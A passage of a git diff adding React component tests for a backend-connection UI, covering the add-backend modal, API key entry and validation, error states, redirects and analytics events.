+ expect(state.isLoading).toBe(true);
+ });
+});
diff --git a/__tests__/components/automations/toggle-switch.test.tsx b/__tests__/components/automations/toggle-switch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a86e0aeddf86ced2d5add38e3cc002a24f747613
--- /dev/null
+++ b/__tests__/components/automations/toggle-switch.test.tsx
@@ -0,0 +1,38 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { vi, describe, it, expect } from "vitest";
+import { ToggleSwitch } from "#/components/features/automations/toggle-switch";
+
+describe("ToggleSwitch", () => {
+ it("calls onToggle when clicked", async () => {
+ const onToggle = vi.fn();
+ const user = userEvent.setup();
+ render(
+ ,
+ );
+
+ await user.click(screen.getByRole("switch"));
+
+ expect(onToggle).toHaveBeenCalledOnce();
+ });
+
+ it("reflects enabled state via aria-checked", () => {
+ render( );
+
+ expect(screen.getByRole("switch")).toHaveAttribute("aria-checked", "true");
+ });
+
+ it("stops event propagation on click", async () => {
+ const parentClick = vi.fn();
+ const user = userEvent.setup();
+ render(
+
+
+
,
+ );
+
+ await user.click(screen.getByRole("switch"));
+
+ expect(parentClick).not.toHaveBeenCalled();
+ });
+});
diff --git a/__tests__/components/backends/add-backend-modal.test.tsx b/__tests__/components/backends/add-backend-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ad56c8388287c948f030c7edbcf5993dcdf3e39f
--- /dev/null
+++ b/__tests__/components/backends/add-backend-modal.test.tsx
@@ -0,0 +1,568 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { MockInstance } from "vitest";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import { AddBackendModal } from "#/components/features/backends/add-backend-modal";
+import * as telemetry from "#/services/telemetry";
+
+const getServerInfoMock = vi.hoisted(() => vi.fn());
+const getSettingsMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+
+const deviceFlowMocks = vi.hoisted(() => ({
+ startDeviceFlow: vi.fn(),
+ pollForToken: vi.fn(),
+}));
+
+// Partial mock: only the network calls are stubbed so the rest of the module
+// (host classification) keeps its production behavior.
+vi.mock("#/api/device-flow-client", async (importOriginal) => {
+ const actual =
+ await importOriginal();
+ return {
+ ...actual,
+ startDeviceFlow: deviceFlowMocks.startDeviceFlow,
+ pollForToken: deviceFlowMocks.pollForToken,
+ };
+});
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ ServerClient: vi.fn(function ServerClientMock() {
+ return {
+ getServerInfo: getServerInfoMock,
+ };
+ }),
+ SettingsClient: vi.fn(function SettingsClientMock() {
+ return {
+ getSettings: getSettingsMock,
+ };
+ }),
+}));
+
+let captureMock: MockInstance;
+
+vi.mock("#/hooks/query/use-settings", () => ({
+ useSettings: () => ({
+ data: { user_consents_to_analytics: true, email: "user@example.com" },
+ }),
+}));
+
+function renderWithProviders(
+ ui: React.ReactElement,
+ navigation?: NavigationContextValue,
+) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+ {navigation ? (
+ {ui}
+ ) : (
+ ui
+ )}
+
+ ,
+ );
+}
+
+async function selectAgentServer(user = userEvent.setup()) {
+ await user.click(screen.getByTestId("add-backend-option-agent-server"));
+ return user;
+}
+
+beforeEach(() => {
+ captureMock = vi.spyOn(telemetry, "trackEvent").mockResolvedValue(undefined);
+ window.localStorage.clear();
+ getServerInfoMock.mockReset();
+ getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+ deviceFlowMocks.startDeviceFlow.mockReset();
+ deviceFlowMocks.startDeviceFlow.mockResolvedValue({
+ device_code: "device-code",
+ user_code: "ABCD-EFGH",
+ verification_uri: "https://app.all-hands.dev/device",
+ verification_uri_complete:
+ "https://app.all-hands.dev/device?user_code=ABCD-EFGH",
+ expires_in: 600,
+ interval: 5,
+ });
+ deviceFlowMocks.pollForToken.mockReset();
+ deviceFlowMocks.pollForToken.mockImplementation(() => new Promise(() => { }));
+ __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+ captureMock.mockRestore();
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+});
+
+describe("AddBackendModal – connection chooser", () => {
+ it("renders OpenHands Cloud first with its brand mark", () => {
+ renderWithProviders( );
+
+ const tabs = screen.getAllByRole("tab");
+ expect(tabs).toHaveLength(2);
+ expect(tabs[0]).toHaveAttribute("data-testid", "add-backend-option-cloud");
+ expect(tabs[0]).toHaveAttribute("aria-selected", "true");
+ expect(tabs[1]).toHaveAttribute(
+ "data-testid",
+ "add-backend-option-agent-server",
+ );
+ expect(tabs[1]).toHaveAttribute("aria-selected", "false");
+ expect(
+ within(tabs[0]).getByTestId("add-backend-option-cloud-logo"),
+ ).toBeInTheDocument();
+ expect(tabs[0]).toHaveTextContent("BACKEND$CLOUD_OPTION_DESCRIPTION");
+ expect(tabs[1]).toHaveTextContent(
+ "BACKEND$AGENT_SERVER_OPTION_DESCRIPTION",
+ );
+
+ expect(screen.getByTestId("add-backend-cloud-panel")).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-login-button")).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-description")).toHaveTextContent(
+ "BACKEND$CHOOSER_DESCRIPTION",
+ );
+ expect(
+ screen.getByTestId("add-backend-deployment-options-link"),
+ ).toHaveAttribute(
+ "href",
+ "https://docs.openhands.dev/overview/introduction",
+ );
+ // Short inline link so the description reads as one flowing sentence.
+ expect(
+ screen.getByTestId("add-backend-deployment-options-link"),
+ ).toHaveTextContent("CTA$LEARN_MORE");
+ });
+
+ it("hides the Advanced host disclosure while authorization is pending", async () => {
+ const user = userEvent.setup();
+ vi.spyOn(window, "open").mockReturnValue({
+ closed: false,
+ close: vi.fn(),
+ location: { href: "" },
+ } as unknown as Window);
+ renderWithProviders( );
+
+ expect(screen.getByTestId("add-backend-advanced-toggle")).toBeVisible();
+
+ await user.click(screen.getByTestId("add-backend-login-button"));
+
+ expect(
+ await screen.findByTestId("add-backend-auth-awaiting"),
+ ).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("add-backend-advanced-toggle"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows Local and Remote inside the Agent-server tab", async () => {
+ renderWithProviders( );
+
+ await selectAgentServer();
+
+ expect(
+ screen.getByTestId("add-backend-agent-server-panel"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("add-backend-location-option-local"),
+ ).toHaveAttribute("aria-checked", "true");
+ expect(
+ screen.getByTestId("add-backend-location-option-remote"),
+ ).toHaveAttribute("aria-checked", "false");
+ expect(
+ screen
+ .getByTestId("add-backend-location-option-local")
+ .querySelector("svg"),
+ ).not.toBeNull();
+ expect(
+ screen
+ .getByTestId("add-backend-location-option-remote")
+ .querySelector("svg"),
+ ).not.toBeNull();
+ expect(
+ screen.getByTestId("add-backend-local-guidance"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-local-docs-link")).toHaveAttribute(
+ "href",
+ expect.stringContaining("docs/DEVELOPMENT.md"),
+ );
+ expect(screen.getByTestId("add-backend-name")).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-host")).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-api-key")).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-submit")).toBeInTheDocument();
+ });
+
+ it("keeps the full setup guidance in a collapsible note", async () => {
+ renderWithProviders( );
+ const user = await selectAgentServer();
+
+ expect(
+ screen.getByTestId("add-backend-local-guidance-toggle"),
+ ).toHaveAttribute("aria-expanded", "false");
+ expect(
+ screen.getByTestId("add-backend-local-guidance-body"),
+ ).toHaveAttribute("aria-hidden", "true");
+
+ await user.click(screen.getByTestId("add-backend-local-guidance-toggle"));
+ expect(
+ screen.getByTestId("add-backend-local-guidance-toggle"),
+ ).toHaveAttribute("aria-expanded", "true");
+ const localGuidance = screen.getByTestId("add-backend-local-guidance");
+ expect(localGuidance).toHaveTextContent("BACKEND$LOCAL_SETUP_DESCRIPTION");
+ expect(localGuidance).toHaveTextContent(
+ "agent-canvas --backend-only --port 8001",
+ );
+
+ await user.click(screen.getByTestId("add-backend-location-option-remote"));
+ expect(
+ screen.getByTestId("add-backend-remote-guidance-toggle"),
+ ).toHaveAttribute("aria-expanded", "false");
+ expect(
+ screen.getByTestId("add-backend-remote-guidance-body"),
+ ).toHaveAttribute("aria-hidden", "true");
+
+ await user.click(screen.getByTestId("add-backend-remote-guidance-toggle"));
+ const remoteGuidance = screen.getByTestId("add-backend-remote-guidance");
+ expect(remoteGuidance).toHaveTextContent(
+ "BACKEND$REMOTE_SETUP_DESCRIPTION",
+ );
+ expect(remoteGuidance).toHaveTextContent(
+ "BACKEND$REMOTE_CONNECTION_DESCRIPTION",
+ );
+ });
+
+ it("starts the Agent-server form with an empty host field", async () => {
+ renderWithProviders( );
+
+ await selectAgentServer();
+
+ expect(screen.getByTestId("add-backend-host")).toHaveValue("");
+ });
+
+ it("disables Connect until name and host are filled (local backend)", async () => {
+ renderWithProviders( );
+ const user = await selectAgentServer();
+
+ const submit = screen.getByTestId(
+ "add-backend-submit",
+ ) as HTMLButtonElement;
+ expect(submit).toBeDisabled();
+
+ await user.type(screen.getByTestId("add-backend-name"), "My Server");
+ expect(submit).toBeDisabled();
+
+ // Local agent-server connections do not require an API key.
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "http://localhost:8000",
+ );
+ expect(submit).not.toBeDisabled();
+ });
+
+ it("allows submitting a local backend with a blank API key", async () => {
+ const onClose = vi.fn();
+ renderWithProviders( );
+
+ const user = await selectAgentServer();
+ await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "http://127.0.0.1:18002",
+ );
+
+ await user.click(screen.getByTestId("add-backend-submit"));
+
+ await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ const added = stored.find(
+ (b: { name: string }) => b.name === "Local Extra",
+ );
+ expect(added).toMatchObject({
+ name: "Local Extra",
+ host: "http://127.0.0.1:18002",
+ apiKey: "",
+ kind: "local",
+ });
+ });
+
+ it("requires an API key for a Remote agent-server", async () => {
+ const onClose = vi.fn();
+ renderWithProviders( );
+ const user = await selectAgentServer();
+ await user.click(screen.getByTestId("add-backend-location-option-remote"));
+
+ const submit = screen.getByTestId(
+ "add-backend-submit",
+ ) as HTMLButtonElement;
+
+ expect(
+ screen.getByTestId("add-backend-remote-guidance"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("add-backend-remote-docs-link")).toHaveAttribute(
+ "href",
+ expect.stringContaining("docs/SELF_HOSTING.md"),
+ );
+
+ await user.type(screen.getByTestId("add-backend-name"), "Remote GPU");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "https://agent.example.com",
+ );
+ expect(submit).toBeDisabled();
+
+ await user.type(screen.getByTestId("add-backend-api-key"), "token");
+ expect(submit).not.toBeDisabled();
+
+ await user.click(submit);
+ await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ expect(
+ stored.find((backend: { name: string }) => backend.name === "Remote GPU"),
+ ).toMatchObject({
+ host: "https://agent.example.com",
+ apiKey: "token",
+ kind: "local",
+ });
+ });
+
+ it("saves the backend, switches to it, and closes", async () => {
+ const onClose = vi.fn();
+ renderWithProviders( );
+
+ const user = await selectAgentServer();
+ await user.type(screen.getByTestId("add-backend-name"), "Local 1");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "http://localhost:9000",
+ );
+ await user.type(screen.getByTestId("add-backend-api-key"), "k");
+
+ await user.click(screen.getByTestId("add-backend-submit"));
+
+ await waitFor(() => expect(onClose).toHaveBeenCalled());
+
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ expect(stored).toHaveLength(2);
+ const added = stored.find((b: { name: string }) => b.name === "Local 1");
+ expect(added).toMatchObject({
+ name: "Local 1",
+ host: "http://localhost:9000",
+ apiKey: "k",
+ kind: "local",
+ });
+
+ // Active selection must point at the newly added backend.
+ const active = JSON.parse(
+ window.localStorage.getItem("openhands-active-backend") ?? "null",
+ );
+ expect(active).toEqual({ backendId: added.id, orgId: null });
+ });
+
+ it("keeps the modal open and shows a connection error when the local backend probe fails", async () => {
+ getServerInfoMock.mockRejectedValueOnce(new Error("Failed to fetch"));
+ const onClose = vi.fn();
+ renderWithProviders( );
+
+ const user = await selectAgentServer();
+ await user.type(screen.getByTestId("add-backend-name"), "GPU Tunnel");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "https://127.0.0.1:8000",
+ );
+ await user.type(screen.getByTestId("add-backend-api-key"), "session-key");
+ await user.click(screen.getByTestId("add-backend-submit"));
+
+ expect(await screen.findByTestId("add-backend-error")).toHaveTextContent(
+ "BACKEND$CONNECTION_TEST_FAILED",
+ );
+ expect(screen.getByTestId("add-backend-error")).toHaveTextContent(
+ "Disconnected",
+ );
+ expect(onClose).not.toHaveBeenCalled();
+ });
+
+ it("keeps the modal open when the local backend is below the compatible version floor", async () => {
+ getServerInfoMock.mockResolvedValueOnce({ version: "1.27.1" });
+ const onClose = vi.fn();
+ renderWithProviders( );
+
+ const user = await selectAgentServer();
+ await user.type(screen.getByTestId("add-backend-name"), "Old Tunnel");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "https://127.0.0.1:8000",
+ );
+ await user.type(screen.getByTestId("add-backend-api-key"), "session-key");
+ await user.click(screen.getByTestId("add-backend-submit"));
+
+ expect(await screen.findByTestId("add-backend-error")).toHaveTextContent(
+ "Agent Canvas requires agent-server 1.28.0 or newer",
+ );
+ expect(onClose).not.toHaveBeenCalled();
+ });
+
+ it("closes when the header close button is clicked", async () => {
+ const user = userEvent.setup();
+ const onClose = vi.fn();
+ renderWithProviders( );
+
+ await user.click(screen.getByTestId("add-backend-close"));
+
+ expect(onClose).toHaveBeenCalledTimes(1);
+ });
+
+ it("hides advanced host settings until expanded while preserving what was typed", async () => {
+ const user = userEvent.setup();
+ renderWithProviders( );
+
+ // Collapsed: mounted so state survives, but collapsed to zero height and
+ // kept out of the tab order.
+ expect(screen.getByTestId("add-backend-advanced-panel")).toHaveAttribute(
+ "aria-hidden",
+ "true",
+ );
+
+ await user.click(screen.getByTestId("add-backend-advanced-toggle"));
+ expect(screen.getByTestId("add-backend-advanced-toggle")).toHaveAttribute(
+ "aria-expanded",
+ "true",
+ );
+ expect(
+ screen.getByTestId("add-backend-advanced-panel"),
+ ).not.toHaveAttribute("aria-hidden", "true");
+
+ await user.type(
+ screen.getByTestId("add-backend-cloud-host"),
+ "https://cloud.example.com",
+ );
+ await user.click(screen.getByTestId("add-backend-advanced-toggle"));
+ await user.click(screen.getByTestId("add-backend-advanced-toggle"));
+
+ expect(screen.getByTestId("add-backend-cloud-host")).toHaveValue(
+ "https://cloud.example.com",
+ );
+ });
+
+ it("renders the cloud login button without a key icon prefix", () => {
+ renderWithProviders( );
+
+ const loginButton = screen.getByTestId("add-backend-login-button");
+ expect(loginButton).not.toHaveClass("w-full");
+ expect(loginButton.textContent?.trim()).not.toMatch(/^🔑/);
+ expect(loginButton.textContent).not.toContain("🔑");
+ });
+});
+
+// @spec BM-002 — adding a backend auto-switches the active selection, so a
+// backend-scoped detail page is now stale; the user must land on the section
+// list rather than the previous backend's detail page.
+describe("AddBackendModal – redirect after adding a backend", () => {
+ function renderOnPath(currentPath: string) {
+ const navigate = vi.fn();
+ const navigation: NavigationContextValue = {
+ currentPath,
+ conversationId: null,
+ isNavigating: false,
+ navigate,
+ };
+ renderWithProviders( , navigation);
+ return { navigate };
+ }
+
+ async function addLocalBackend() {
+ const user = await selectAgentServer();
+ await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "http://127.0.0.1:18002",
+ );
+ await user.click(screen.getByTestId("add-backend-submit"));
+ await waitFor(() => {
+ const stored = JSON.parse(
+ window.localStorage.getItem("openhands-backends") ?? "[]",
+ );
+ expect(
+ stored.some((b: { name: string }) => b.name === "Local Extra"),
+ ).toBe(true);
+ });
+ }
+
+ it.each([
+ { path: "/automations/auto-1", expected: "/automations" },
+ { path: "/conversations/abc", expected: "/conversations" },
+ ])(
+ "redirects to the section list when adding from $path",
+ async ({ path, expected }) => {
+ // Arrange
+ const { navigate } = renderOnPath(path);
+
+ // Act
+ await addLocalBackend();
+
+ // Assert
+ expect(navigate).toHaveBeenCalledWith(expected);
+ },
+ );
+
+ it("does not redirect when adding from a section list page", async () => {
+ // Arrange
+ const { navigate } = renderOnPath("/automations");
+
+ // Act
+ await addLocalBackend();
+
+ // Assert
+ expect(navigate).not.toHaveBeenCalled();
+ });
+});
+
+describe("AddBackendModal – analytics", () => {
+ it("captures backend_added once with manual connection metadata", async () => {
+ // Arrange
+ renderWithProviders( );
+ const user = await selectAgentServer();
+
+ // Act — connect a local backend through the manual form
+ await user.type(screen.getByTestId("add-backend-name"), "Local Extra");
+ await user.type(
+ screen.getByTestId("add-backend-host"),
+ "http://localhost:8000",
+ );
+ await user.type(screen.getByTestId("add-backend-api-key"), "sk-local");
+ await user.click(screen.getByTestId("add-backend-submit"));
+
+ // Assert — emitted exactly once with coarse, non-sensitive properties
+ await waitFor(() =>
+ expect(captureMock).toHaveBeenCalledWith(
+ "backend_added",
+ expect.objectContaining({
+ backend_kind: "local",
+ connection_method: "manual",
+ has_api_key: true,
+ source: "add_backend_modal",
+ }),
+ ),
+ );
+ const backendAddedCalls = captureMock.mock.calls.filter(
+ ([event]) => event === "backend_added",
+ );
+ expect(backendAddedCalls).toHaveLength(1);
+ });
+});
diff --git a/__tests__/components/backends/api-key-entry-screen.test.tsx b/__tests__/components/backends/api-key-entry-screen.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..110a930bbd1d93966816abd654e0e95b76ff90c3
--- /dev/null
+++ b/__tests__/components/backends/api-key-entry-screen.test.tsx
@@ -0,0 +1,313 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { BACKENDS_STORAGE_KEY } from "#/api/backend-registry/storage";
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import ApiKeyEntryScreen from "#/components/features/backends/api-key-entry-screen";
+
+// ── Mocks ────────────────────────────────────────────────────────────
+
+const getSettingsMock = vi.fn();
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ SettingsClient: vi.fn(function SettingsClientMock() {
+ return { getSettings: getSettingsMock };
+ }),
+ // ServerClient needed by useBackendsHealth (imported transitively)
+ ServerClient: vi.fn(function ServerClientMock() {
+ return { getServerInfo: vi.fn().mockResolvedValue({ version: "1.28.0" }) };
+ }),
+}));
+
+// Stub cloud org service used by ActiveBackendProvider
+vi.mock("#/api/cloud/organization-service.api", () => ({
+ getCurrentCloudApiKey: vi.fn().mockResolvedValue({
+ orgId: null,
+ isLegacyKey: true,
+ }),
+}));
+
+// Capture reload calls without crashing jsdom
+const reloadMock = vi.fn();
+
+// ── Helpers ──────────────────────────────────────────────────────────
+
+function renderScreen() {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+
+
+ ,
+ );
+}
+
+/** Fill the required fields: name and api key. */
+async function fillRequiredFields(
+ user: ReturnType,
+ { name = "My Server", apiKey = "some-key" } = {},
+) {
+ await user.type(screen.getByTestId("api-key-entry-name"), name);
+ await user.type(screen.getByTestId("api-key-entry-api-key"), apiKey);
+}
+
+// ── Setup / teardown ─────────────────────────────────────────────────
+
+const ORIGINAL_LOCATION = window.location;
+
+beforeEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ getSettingsMock.mockReset();
+
+ // Replace window.location with a spy-able version
+ Object.defineProperty(window, "location", {
+ configurable: true,
+ value: {
+ ...ORIGINAL_LOCATION,
+ origin: "http://localhost:8000",
+ hostname: "localhost",
+ reload: reloadMock,
+ },
+ });
+ reloadMock.mockReset();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ __resetActiveStoreForTests();
+ vi.unstubAllEnvs();
+ Object.defineProperty(window, "location", {
+ configurable: true,
+ value: ORIGINAL_LOCATION,
+ });
+});
+
+// ── Tests ────────────────────────────────────────────────────────────
+
+describe("ApiKeyEntryScreen", () => {
+ // @spec — UI: name + host (disabled) + api key + connect
+ it("renders name, host (disabled), api key, and connect button", () => {
+ renderScreen();
+
+ // Name field
+ const nameInput = screen.getByTestId("api-key-entry-name");
+ expect(nameInput).toBeInTheDocument();
+ expect(nameInput).toHaveValue("");
+
+ // Host field — pre-filled from window.location.origin, disabled
+ const hostInput = screen.getByTestId("api-key-entry-host");
+ expect(hostInput).toBeInTheDocument();
+ expect(hostInput).toBeDisabled();
+ expect(hostInput).toHaveValue("http://localhost:8000");
+
+ // API key field
+ expect(screen.getByTestId("api-key-entry-api-key")).toBeInTheDocument();
+
+ // Connect button
+ expect(screen.getByTestId("api-key-entry-submit")).toBeInTheDocument();
+ });
+
+ // @spec — API key field always starts empty (stale key wipe)
+ it("starts with an empty api key even when localStorage has a stale key", () => {
+ // Seed the backend registry with the stale key
+ window.localStorage.setItem(
+ BACKENDS_STORAGE_KEY,
+ JSON.stringify([
+ {
+ id: "default-local",
+ name: "Local",
+ host: "http://localhost:8000",
+ apiKey: "old-stale-key-from-previous-session",
+ kind: "local",
+ },
+ ]),
+ );
+
+ renderScreen();
+
+ expect(screen.getByTestId("api-key-entry-api-key")).toHaveValue("");
+ });
+
+ // @spec — Connect button requires both name and api key
+ it("disables Connect when name or api key is empty", async () => {
+ renderScreen();
+ const user = userEvent.setup();
+ const submit = screen.getByTestId("api-key-entry-submit");
+
+ // Both empty
+ expect(submit).toBeDisabled();
+
+ // Only api key filled → still disabled
+ await user.type(screen.getByTestId("api-key-entry-api-key"), "key");
+ expect(submit).toBeDisabled();
+
+ // Name also filled → enabled
+ await user.type(screen.getByTestId("api-key-entry-name"), "Server");
+ expect(submit).not.toBeDisabled();
+ });
+
+ // @spec — Valid key: validates against GET /api/settings, persists, reloads
+ it("validates the key before persisting and reloading", async () => {
+ getSettingsMock.mockResolvedValueOnce({ llm_model: "test" });
+
+ renderScreen();
+ const user = userEvent.setup();
+
+ await fillRequiredFields(user, { apiKey: "correct-key" });
+ await user.click(screen.getByTestId("api-key-entry-submit"));
+
+ await waitFor(() => {
+ expect(getSettingsMock).toHaveBeenCalledTimes(1);
+ });
+
+ // Key persisted to backend registry storage
+ const stored = JSON.parse(
+ window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]",
+ );
+ expect(stored[0].apiKey).toBe("correct-key");
+
+ // Page reloaded
+ expect(reloadMock).toHaveBeenCalled();
+ });
+
+ // @spec — 401 shows "Invalid API key", does NOT persist or reload
+ it("shows 'Invalid API key' when the key is rejected with 401", async () => {
+ getSettingsMock.mockRejectedValueOnce(
+ Object.assign(new Error("Unauthorized"), {
+ name: "HttpError",
+ status: 401,
+ }),
+ );
+
+ renderScreen();
+ const user = userEvent.setup();
+
+ await fillRequiredFields(user, { apiKey: "wrong-key" });
+ await user.click(screen.getByTestId("api-key-entry-submit"));
+
+ // Error status appears with "Invalid" text
+ await waitFor(() => {
+ expect(screen.getByTestId("api-key-entry-status")).toBeInTheDocument();
+ });
+ expect(screen.getByTestId("api-key-entry-status")).toHaveClass(
+ "text-red-400",
+ );
+ expect(screen.getByTestId("api-key-entry-status").textContent).toContain(
+ "AUTH$INVALID_KEY",
+ );
+
+ // Rejected key NOT persisted.
+ expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toContain(
+ "wrong-key",
+ );
+
+ // Page NOT reloaded
+ expect(reloadMock).not.toHaveBeenCalled();
+ });
+
+ // @spec — Non-401 errors show the actual error message, not "Invalid key"
+ it("shows 'Connection failed' with detail for non-auth errors (e.g. 500)", async () => {
+ getSettingsMock.mockRejectedValueOnce(
+ Object.assign(new Error("HTTP 500: Internal Server Error"), {
+ name: "HttpError",
+ status: 500,
+ }),
+ );
+
+ renderScreen();
+ const user = userEvent.setup();
+
+ await fillRequiredFields(user, { apiKey: "correct-key" });
+ await user.click(screen.getByTestId("api-key-entry-submit"));
+
+ await waitFor(() => {
+ expect(screen.getByTestId("api-key-entry-status")).toBeInTheDocument();
+ });
+
+ const statusText =
+ screen.getByTestId("api-key-entry-status").textContent ?? "";
+ // Shows "Connection failed" prefix, NOT "Invalid API key"
+ expect(statusText).toContain("AUTH$CONNECTION_FAILED");
+ expect(statusText).toContain("500");
+ expect(statusText).not.toContain("AUTH$INVALID_KEY");
+
+ // Rejected key NOT persisted.
+ expect(window.localStorage.getItem(BACKENDS_STORAGE_KEY)).not.toContain(
+ "correct-key",
+ );
+
+ expect(reloadMock).not.toHaveBeenCalled();
+ });
+
+ // @spec — Retry flow: wrong key → error → correct key → success
+ it("allows retry after a failed attempt", async () => {
+ getSettingsMock
+ .mockRejectedValueOnce(
+ Object.assign(new Error("Unauthorized"), {
+ name: "HttpError",
+ status: 401,
+ }),
+ )
+ .mockResolvedValueOnce({ llm_model: "test" });
+
+ renderScreen();
+ const user = userEvent.setup();
+ const apiKeyInput = screen.getByTestId("api-key-entry-api-key");
+
+ // First attempt — wrong key
+ await fillRequiredFields(user, { apiKey: "wrong-key" });
+ await user.click(screen.getByTestId("api-key-entry-submit"));
+ await waitFor(() => {
+ expect(screen.getByTestId("api-key-entry-status")).toHaveClass(
+ "text-red-400",
+ );
+ });
+
+ // Retry — correct key
+ await user.clear(apiKeyInput);
+ await user.type(apiKeyInput, "correct-key");
+ await user.click(screen.getByTestId("api-key-entry-submit"));
+
+ await waitFor(() => {
+ expect(reloadMock).toHaveBeenCalled();
+ });
+
+ const stored = JSON.parse(
+ window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]",
+ );
+ expect(stored[0].apiKey).toBe("correct-key");
+ });
+
+ // @spec — Stale key in localStorage does not contaminate the new key
+ it("persists only the freshly-entered key, not the stale one", async () => {
+ getSettingsMock.mockResolvedValueOnce({ llm_model: "test" });
+
+ renderScreen();
+ const user = userEvent.setup();
+
+ // API key field is empty — stale key not visible
+ const apiKeyInput = screen.getByTestId("api-key-entry-api-key");
+ expect(apiKeyInput).toHaveValue("");
+
+ // Enter fresh key
+ await fillRequiredFields(user, { apiKey: "fresh-key-BBBB" });
+ await user.click(screen.getByTestId("api-key-entry-submit"));
+
+ await waitFor(() => {
+ expect(reloadMock).toHaveBeenCalled();
+ });
+
+ // Stored key is the NEW one, not old + new concatenated
+ const stored = JSON.parse(
+ window.localStorage.getItem(BACKENDS_STORAGE_KEY) ?? "[]",
+ );
+ expect(stored[0].apiKey).toBe("fresh-key-BBBB");
+ });
+});
diff --git a/__tests__/components/backends/backend-form-modal.test.tsx b/__tests__/components/backends/backend-form-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..04c7cd0a392fc5a6db8c8021549964a0e5eca5a3
--- /dev/null
+++ b/__tests__/components/backends/backend-form-modal.test.tsx
@@ -0,0 +1,311 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+
+import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store";
+import {
+ ActiveBackendProvider,
+ useActiveBackendContext,
+} from "#/contexts/active-backend-context";
+import {
+ NavigationProvider,
+ type NavigationContextValue,
+} from "#/context/navigation-context";
+import { BackendFormModal } from "#/components/features/backends/backend-form-modal";
+
+const getServerInfoMock = vi.hoisted(() => vi.fn());
+const getSettingsMock = vi.hoisted(() => vi.fn().mockResolvedValue({}));
+
+vi.mock("@openhands/typescript-client/clients", () => ({
+ ServerClient: vi.fn(function ServerClientMock() {
+ return {
+ getServerInfo: getServerInfoMock,
+ };
+ }),
+ SettingsClient: vi.fn(function SettingsClientMock() {
+ return {
+ getSettings: getSettingsMock,
+ };
+ }),
+}));
+
+function renderWithProviders(
+ ui: React.ReactElement,
+ navigation?: NavigationContextValue,
+) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+ {navigation ? (
+ {ui}
+ ) : (
+ ui
+ )}
+
+ ,
+ );
+}
+
+function TestSeed({
+ onMount,
+ children,
+}: {
+ onMount: (ctx: ReturnType) => void;
+ children: React.ReactNode;
+}) {
+ const ctx = useActiveBackendContext();
+ React.useEffect(() => {
+ onMount(ctx);
+ // eslint-disable-next-line react-hooks/exhaustive-deps
+ }, []);
+ return children as React.ReactElement;
+}
+
+beforeEach(() => {
+ window.localStorage.clear();
+ getServerInfoMock.mockReset();
+ getServerInfoMock.mockResolvedValue({ version: "1.28.0" });
+ __resetActiveStoreForTests();
+});
+
+afterEach(() => {
+ window.localStorage.clear();
+ vi.unstubAllEnvs();
+ delete (window as unknown as Record)
+ .__AGENT_CANVAS_LOCK_TO_CLOUD__;
+ __resetActiveStoreForTests();
+});
+
+describe("BackendFormModal – edit mode (BackendForm entry point)", () => {
+ it("pre-fills fields with the backend data passed as prop", () => {
